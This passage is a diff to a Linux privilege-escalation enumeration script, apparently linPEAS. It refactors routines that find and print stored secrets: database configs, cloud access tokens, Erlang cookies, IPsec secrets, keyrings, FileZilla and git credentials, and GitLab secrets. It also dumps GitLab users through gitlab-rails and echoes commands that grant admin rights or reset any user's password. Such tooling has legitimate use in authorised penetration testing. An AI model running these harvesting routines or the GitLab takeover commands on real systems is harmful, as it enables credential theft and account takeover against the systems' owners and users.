"s,.*,${C}[1;31m&${C}[0m," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m," + printf "$screensess" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m," else echo_not_found "screen" fi echo "" @@ -2419,187 +2345,119 @@ if [ "`echo $CHECKS | grep SofI`" ]; then #-- SI) Tmux sessions tmuxdefsess=`tmux ls 2>/dev/null` tmuxnondefsess=`ps auxwww | grep "tmux " | grep -v grep` - printf $Y"[+] "$GREEN"Searching tmux sessions\n"$N - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions\n"$NC + print_2title "Searching tmux sessions"$N + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ]; then - printf "$tmuxdefsess\n$tmuxnondefsess\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," + printf "$tmuxdefsess\n$tmuxnondefsess\n" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," else echo_not_found "tmux" fi echo "" - #-- SI) Couchdb - printf $Y"[+] "$GREEN"Searching Couchdb directory\n"$NC - couchdb_dirs=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_USERS\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MNT" | grep -E 'couchdb') - printf "%s\n" "$couchdb_dirs" | while read d; do - for f in `find $d -name local.ini 2>/dev/null`; do - if [ -r "$f" ]; then - echo "Found readable $f" - cat "$f" | grep -v "^;" | grep -v "^$" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${C}[1;31m&${C}[0m," 2>/dev/null - fi - done - done - echo "" + print_2title "Analizing CouchDB Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_COUCHDB\" | grep -E \"couchdb$\"`" ]; then echo_not_found "couchdb"; fi; printf "%s" "$PSTORAGE_COUCHDB" | grep -E "couchdb$" | while read f; do ls -ld "$f" | sed -${E} "s,couchdb$,${SED_RED},"; for ff in $(find "$f" -name "local.ini"); do ls -ld "$ff" | sed -${E} "s,local.ini,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${SED_RED},g"; done; echo "";done; echo ""; + + + print_2title "Analizing Redis Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then echo_not_found "redis.conf"; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo ""; - #-- SI) Redis - printf $Y"[+] "$GREEN"Searching redis.conf\n"$NC - redisconfs=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'redis\.conf$') - printf "%s\n" "$redisconfs" | while read f; do - if [ -r "$f" ]; then - echo "Found readable $f" - cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | sed -${E} "s,masterauth.*|requirepass.*,${C}[1;31m&${C}[0m," 2>/dev/null - fi - done - echo "" #-- SI) Dovecot # Needs testing - printf $Y"[+] "$GREEN"Searching dovecot files\n"$NC + print_2title "Searching dovecot files" dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null) - if [ -z "$dovecotpass" ]; then + if [ -z "$dovecotpass" ]; then echo_not_found "dovecot credentials" else for d in $(grep -r "PLAIN" /etc/dovecot 2>/dev/null); do df=$(echo $d |cut -d ':' -f1) dp=$(echo $d |cut -d ':' -f2-) echo "Found possible PLAIN text creds in $df" - echo "$dp" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," 2>/dev/null + echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null done fi echo "" - #-- SI) Mosquitto - printf $Y"[+] "$GREEN"Searching mosquitto.conf\n"$NC - mqttconfs=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'mosquitto\.conf$') - printf "%s\n" "$mqttconfs" | while read f; do - if [ -r "$f" ]; then - echo "Found readable $f" - cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${C}[1;31m&${C}[0m," 2>/dev/null - fi - done - echo "" + print_2title "Analizing Mosquitto Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_MOSQUITTO\" | grep -E \"mosquitto\.conf$\"`" ]; then echo_not_found "mosquitto.conf"; fi; printf "%s" "$PSTORAGE_MOSQUITTO" | grep -E "mosquitto\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,mosquitto\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${SED_RED},g"; done; echo ""; - #-- SI) Neo4j - printf $Y"[+] "$GREEN"Searching neo4j auth file\n"$NC - neo4j=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_USERS\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MNT" | grep -E 'neo4j') - printf "%s\n" "$neo4j" | while read d; do - if [ -r "$d" ]; then - echo "Found readable $d" - find $d -type f -name "auth" -exec cat {} \; 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," 2>/dev/null - fi - done - echo "" - #-- SI) Cloud-Init - printf $Y"[+] "$GREEN"Searching Cloud-Init conf file\n"$NC - cloudcfg=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'cloud\.cfg$') - printf "%s\n" "$cloudcfg" | while read f; do - if [ -r "$f" ]; then - echo "Found readable $f" - cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${C}[1;31m&${C}[0m," - fi - done - echo "" + print_2title "Analizing Neo4j Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_NEO4J\" | grep -E \"neo4j$\"`" ]; then echo_not_found "neo4j"; fi; printf "%s" "$PSTORAGE_NEO4J" | grep -E "neo4j$" | while read f; do ls -ld "$f" | sed -${E} "s,neo4j$,${SED_RED},"; for ff in $(find "$f" -name "auth"); do ls -ld "$ff" | sed -${E} "s,auth,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; - ##-- SI) Erlang - printf $Y"[+] "$GREEN"Searching Erlang cookie file\n"$NC - erlangcoo=$(echo "$FIND_ETC\n$FIND_HOME\n$FIND_USR\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E '.erlang.cookie$') - printf "%s\n" "$erlangcoo" | while read f; do - if [ -r "$f" ]; then - echo "Found Erlang cookie: $f" - cat "$f" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - fi - done - echo "" - ##-- SI) GVM - printf $Y"[+] "$GREEN"Searching GVM auth file\n"$NC - gvmconfs=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_TMP\n$FIND_OTP\n$FIND_USR\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'gvm-tools\.conf') - printf "%s\n" "$gvmconfs" | while read f; do - if [ -r "$f" ]; then - echo "Found GVM auth file: $f" - cat "$f" 2>/dev/null | sed -${E} "s,username.*|password.*,${C}[1;31m&${C}[0m," - fi - done - echo "" + print_2title "Analizing Cloud credentials Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials$\"`" ]; then echo_not_found "credentials"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials$" | while read f; do ls -ld "$f" | sed -${E} "s,credentials$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" ]; then echo_not_found "credentials.db"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then echo_not_found "legacy_credentials.db"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then echo_not_found "access_tokens.db"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then echo_not_found "access_tokens.json"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then echo_not_found "accessTokens.json"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then echo_not_found "azureProfile.json"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then echo_not_found "TokenCache.dat"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then echo_not_found "AzureRMContext.json"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then echo_not_found ".bluemix"; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" | sed -${E} "s,\.bluemix$,${SED_RED},"; for ff in $(find "$f" -name "config.json"); do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; - ##-- SI) IPSEC - printf $Y"[+] "$GREEN"Searching IPSEC files\n"$NC - ipsecconfs=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_TMP\n$FIND_OTP\n$FIND_USR\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'ipsec\.secrets|ipsec\.conf') - printf "%s\n" "$ipsecconfs" | while read f; do - if [ -r "$f" ]; then - echo "Found IPSEC file: $f" - cat "$f" 2>/dev/null | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${C}[1;31m&${C}[0m," - fi - done - echo "" - ##-- SI) IRSSI - printf $Y"[+] "$GREEN"Searching IRSSI files\n"$NC - irssifols=$(echo "$FIND_DIR_VAR\n$FIND_DIR_HOME\n$FIND_DIR_ETC\n$FIND_DIR_OTP\n$FIND_DIR_USR\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MNT" | grep -E '.irssi') - printf "%s\n" "$irssifols" | while read d; do - if [ -r "$d/config" ]; then - echo "Found IRSSI config file: $d/config" - cat "$d/config" 2>/dev/null | sed -${E} "s,password.*,${C}[1;31m&${C}[0m," - fi - done - echo "" + print_2title "Analizing Cloud-Init Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_CLOUD_INIT\" | grep -E \"cloud\.cfg$\"`" ]; then echo_not_found "cloud.cfg"; fi; printf "%s" "$PSTORAGE_CLOUD_INIT" | grep -E "cloud\.cfg$" | while read f; do ls -ld "$f" | sed -${E} "s,cloud\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | grep -Ev "\W+\#|^#" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${SED_RED},g"; done; echo ""; - ##-- SI) Keyring - printf $Y"[+] "$GREEN"Searching Keyring files\n"$NC - keyringsfilesfolds=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_USERS\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_MNT\n$FIND_USR\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E 'keyrings|*\.keyring$|*\.keystore$') - printf "%s\n" "$keyringsfilesfolds" | sort | uniq | while read f; do - if [ -f "$f" ]; then - echo "Keyring file: $f" | sed "s,$f,${C}[1;31m&${C}[0m," - elif [ -d "$f" ]; then - echo "Keyring folder: $f" | sed "s,$f,${C}[1;31m&${C}[0m," - ls -lR "$f" 2>/dev/null | sed -${E} "s,keyrings|\.keyring|\.keystore,${C}[1;31m&${C}[0m," - fi - done - echo "" - ##-- SI) Filezilla - printf $Y"[+] "$GREEN"Searching Filezilla sites file\n"$NC - filezillaconfs=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_OPT\n$FIND_DIR_MNT" | grep -E 'filelliza') - printf "%s\n" "$filezillaconfs" | uniq | while read f; do - if [ -d "$f" ]; then - echo "Found Filezilla folder: $f" - if [ -f "$f/sitemanager.xml" ]; then - cat "$f/sitemanager.xml" 2>/dev/null | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${C}[1;31m&${C}[0m," - fi - fi - done - echo "" + print_2title "Analizing CloudFlare Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_CLOUDFLARE\" | grep -E \"\.cloudflared$\"`" ]; then echo_not_found ".cloudflared"; fi; printf "%s" "$PSTORAGE_CLOUDFLARE" | grep -E "\.cloudflared$" | while read f; do ls -ld "$f" | sed -${E} "s,\.cloudflared$,${SED_RED},"; done; echo ""; + + + print_2title "Analizing Erlang Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_ERLANG\" | grep -E \"\.erlang\.cookie$\"`" ]; then echo_not_found ".erlang.cookie"; fi; printf "%s" "$PSTORAGE_ERLANG" | grep -E "\.erlang\.cookie$" | while read f; do ls -ld "$f" | sed -${E} "s,\.erlang\.cookie$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing GMV Auth Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_GMV_AUTH\" | grep -E \"gvm-tools\.conf$\"`" ]; then echo_not_found "gvm-tools.conf"; fi; printf "%s" "$PSTORAGE_GMV_AUTH" | grep -E "gvm-tools\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,gvm-tools\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|password.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing IPSec Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.secrets$\"`" ]; then echo_not_found "ipsec.secrets"; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.secrets$" | while read f; do ls -ld "$f" | sed -${E} "s,ipsec\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.conf$\"`" ]; then echo_not_found "ipsec.conf"; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,ipsec\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing IRSSI Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_IRSSI\" | grep -E \"\.irssi$\"`" ]; then echo_not_found ".irssi"; fi; printf "%s" "$PSTORAGE_IRSSI" | grep -E "\.irssi$" | while read f; do ls -ld "$f" | sed -${E} "s,\.irssi$,${SED_RED},"; for ff in $(find "$f" -name "config"); do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";done; echo ""; + + + print_2title "Analizing Keyring Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"keyrings$\"`" ]; then echo_not_found "keyrings"; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "keyrings$" | while read f; do ls -ld "$f" | sed -${E} "s,keyrings$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keyring$\"`" ]; then echo_not_found "*.keyring"; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keyring$" | while read f; do ls -ld "$f" | sed -${E} "s,\.keyring$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keystore$\"`" ]; then echo_not_found "*.keystore"; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keystore$" | while read f; do ls -ld "$f" | sed -${E} "s,\.keystore$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.jks$\"`" ]; then echo_not_found "*.jks"; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.jks$" | while read f; do ls -ld "$f" | sed -${E} "s,\.jks$,${SED_RED},"; done; echo ""; + + + print_2title "Analizing Filezilla Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filelliza$\"`" ]; then echo_not_found "filelliza"; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filelliza$" | while read f; do ls -ld "$f" | sed -${E} "s,filelliza$,${SED_RED},"; for ff in $(find "$f" -name "sitemanager.xml"); do ls -ld "$ff" | sed -${E} "s,sitemanager.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla\.xml$\"`" ]; then echo_not_found "filezilla.xml"; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,filezilla\.xml$,${SED_RED},"; done; echo ""; + + + print_2title "Analizing Backup Manager Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"storage\.php$\"`" ]; then echo_not_found "storage.php"; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "storage\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,storage\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"database\.php$\"`" ]; then echo_not_found "database.php"; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "database\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,database\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; - ##-- SI) BACKUP-MANAGER - printf $Y"[+] "$GREEN"Searching backup-manager files\n"$NC - backupmanager=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_OPT\n$FIND_MNT\n$FIND_USR\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E 'storage.php|database.php') - printf "%s\n" "$backupmanager" | sort | uniq | while read f; do - if [ -f "$f" ]; then - echo "backup-manager file: $f" | sed "s,$f,${C}[1;31m&${C}[0m," - cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${C}[1;31m&${C}[0m," - fi - done - echo "" ##-- SI) passwd files (splunk) - printf $Y"[+] "$GREEN"Searching uncommon passwd files (splunk)\n"$NC - splunkpwd=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_TMP\n$FIND_OPT\n$FIND_USR\n$FIND_MNT\n$FIND_SYSTEM\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -v "/etc/passwd$" | grep -E 'passwd$') + print_2title "Searching uncommon passwd files (splunk)" SPLUNK_BIN="`command -v splunk 2>/dev/null`" - if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${C}[1;31m&${C}[0m,"; fi - printf "%s\n" "$splunkpwd" | sort | uniq | while read f; do - if [ -f "$f" ] && ! [ -x "$f" ]; then - echo "passwd file: $f" | sed "s,$f,${C}[1;31m&${C}[0m," - cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${C}[1;31m&${C}[0m," + if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi + printf "%s\n" "$PSTORAGE_SPLUNK" | sort | uniq | while read f; do + if [ -f "$f" ] && ! [ -x "$f" ]; then + echo "passwd file: $f" | sed "s,$f,${SED_RED}," + cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," fi done echo "" ##-- SI) Gitlab - printf $Y"[+] "$GREEN"Searching GitLab related files\n"$NC + print_2title "Searching GitLab related files" #Check gitlab-rails if [ "`command -v gitlab-rails`" ]; then echo "gitlab-rails was found. Trying to dump users..." - gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${C}[1;31m&${C}[0m," + gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED}," echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'" echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'" echo "" @@ -2610,127 +2468,96 @@ if [ "`echo $CHECKS | grep SofI`" ]; then echo "" fi #Check gitlab files - gitlabfiles=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_TMP\n$FIND_OPT\n$FIND_USR\n$FIND_MNT\n$FIND_SYSTEM\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -v "/lib" | grep -E "secrets.yml$|gitlab.yml$|gitlab.rb$") - printf "%s\n" "$gitlabfiles" | sort | uniq | while read f; do + printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do if [ "`echo $f | grep secrets.yml`" ]; then - echo "Found $f" | sed "s,$f,${C}[1;31m&${C}[0m," - cat "$f" 2>/dev/null | grep -v "^$" | grep -v "^#" + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" elif [ "`echo $f | grep gitlab.yml`" ]; then - echo "Found $f" | sed "s,$f,${C}[1;31m&${C}[0m," + echo "Found $f" | sed "s,$f,${SED_RED}," cat "$f" | grep -A 4 "repositories:" elif [ "`echo $f | grep gitlab.rb`" ]; then - echo "Found $f" | sed "s,$f,${C}[1;31m&${C}[0m," - cat "$f" | grep -v "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${C}[1;31m&${C}[0m," + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED}," fi echo "" done echo "" - ##-- SI) PGP/GPG - printf $Y"[+] "$GREEN"Searching PGP/GPG\n"$NC - pgpg=$(echo "$FIND_HOME\n$FIND_PRIVATE\n$FIND_MNT" | grep -E '\.pgp$|\.gpg$|.gnupg') - if [ "$pgpg" ]; then echo "PGP/GPG files found:" ; - printf "%s\n" "$pgpg" | sort | uniq | while read f; do - if [ -f "$f" ]; then - ls -l "$f" - else - ls -ld "$f" - ls -l "$f" 2>/dev/null - fi - done - echo "" - fi - echo "PGP/GPG software:" - command -v gpg 2>/dev/null || echo_not_found "gpg" - gpg --list-keys 2>/dev/null - command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys" - netpgpkeys --list-keys 2>/dev/null - command -v netpgp 2>/dev/null || echo_not_found "netpgp" - echo "" + print_2title "Analizing Github Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then echo_not_found ".github"; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" | sed -${E} "s,\.github$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then echo_not_found ".gitconfig"; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gitconfig$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then echo_not_found ".git-credentials"; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then echo_not_found ".git"; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" | sed -${E} "s,\.git$,${SED_RED},"; done; echo ""; + + + 